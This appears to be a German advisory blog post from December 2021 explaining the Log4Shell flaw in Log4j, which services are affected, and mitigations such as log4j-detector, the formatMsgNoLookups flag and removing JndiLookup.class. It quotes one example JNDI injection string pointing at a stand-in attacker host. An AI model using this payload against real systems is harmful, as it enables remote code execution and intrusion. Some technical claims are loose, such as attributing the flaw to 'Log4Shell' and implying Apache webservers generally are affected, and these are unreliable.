| Log4j und die Log4Shell-Lücke (14.12.2021) |
Der Fehler liegt in der "Log4Shell" in der weit verbreiteten Java-Logging-Bibliothek "Log4j". Es lässt sich quasi beliebiger Code ausführen und das dazu noch sehr einfach. In der Java-Welt kommt diese Bibliothek häufig vor, um Prozesse zu protokollieren und etwaige Fehler zu finden.
Das Problem dabei ist, dass "Log4Shell" nicht einfach nur schreibt, sondern darüber hinaus versucht den Protokolltext zu interpretieren. Enthält dieser z.B. die Zeichenfolge "${jndi:ldap://angreifer.server.de/a}", dann ist das Kind in den Brunnen gefallen, weil der Dienst den Server "angreifer.server.de" kontaktiert und von diesem ungefragt Java-Code entgegennimmt und ausführt. |
Es reicht die Eingabe einer solchen Zeichenfolge bereits in ein ungefiltertes Feld einer Java-Anwendung, um es knallen zu lassen. So genügte dies beispielsweise beim Spiel "Minecraft", indem eine entsprechende Zeichenkette in ein Chatfenster eingegeben werden konnte, die zu einem erfolgreichen Hack führte.
Wer oder was ist betroffen?
Die Schwachstelle betrifft viele Online-Dienste wie Twitter, Amazon & Co. , Steam aber auch Apache-Webserver, auf denen nahezu alle Website laufen und evtl. VPN-Verbindungssoftware sowie Behördenanwendungen u.v.m.. Im privaten Umfeld sind evtl. auch IoT-Geräte wie "smarte" Stromzähler u.s.w. betroffen. Wer einen privaten Webserver betreibt, sollte sofort handeln.
Es wird nicht einfach werden, herauszufinden, wo Log4j überall im Einsatz ist, um das Problem durch Admins beheben zu lassen. Privatanwender können so gut wie nichts machen, ausser auf Updates hoffen. IoT-Geräte empfehlen wir vorab aus dem Netzwerk zu nehmen oder zumindest über Routereinstellungen zu blocken (kein Internetkontakt ermöglichen).
Nicht nur ein Hack macht Probleme, sondern auch die Prävention: Erste Vorsichtsmassnahmen haben bereits Auswirkungen auf viele Menschen. So wurden einige Dienste der Telematikinfrastruktur von "gematik" zum Schutz von Patientendaten vom Internet getrennt, d.h. es kommt deshalb aktuell zu Problemen mit der Krankenversichertenkarte für Patienten und Praxen.
Was passiert gerade?
Es ist davon auszugehen, dass die vielen derzeit beobachteten Angriffe nicht sofort dazu dienen, um Schadcode auszuführen, sondern die Sicherheitslücke nur zur Vorbereitung des späteren eigentlichen Angriffs benutzt wird. Z.B. um sich vorab unbemerkt auf einem Server einzunisten (es werden Hintertüren eingerichtet), um sich dann weiter im Netzwerk vorzuarbeiten und die Kontrolle zu übernehmen oder über Ransomware lahmzulegen. Deshalb wird der eigentliche Schaden erst sehr viel später bemerkt werden.
Das Internet steht aus diesem Grund momentan in Flammen...
Was kann man dagegen tun?
Verwundbare Instanzen der Log4j-Bibliothek zu finden ist alles andere als trivial, weil diese in den jar-Archiven enthalten sind.
Es gibt jedoch das Tool log4j-detector, der diese jar-Archive durchsucht und betroffene Versionen (2.0-beta9 - 2.14.1, 1.2.x ist aussen vor) meldet. Dazu benötigt man jedoch Zugang zum System.
Wenn noch kein Update des Herstellers angeboten wird (dann wäre Version 2.15.x oder höher integriert), kann man betroffene Systeme durch Setzen der Variable "log4j2.formatMsgNoLookups" auf "true" sichern. Dazu startet man die Java Virtual Machine mit dem Argument:
–Dlog4j2.formatMsgNoLookups=True
oder setzt die Umgebungsvariable:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Beides funktioniert jedoch erst ab Log4j-Version 2.10. Bei älteren Versionen empfehlen die Entwickler (als Mitigation) die Klasse "JndiLookup" zu entfernen:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Ist das alles nicht möglich, muss man darüber nachdenken, die Abschaltung nicht zwingend benötigter verwundbarer Systeme zu veranlassen.
|
Kommentieren
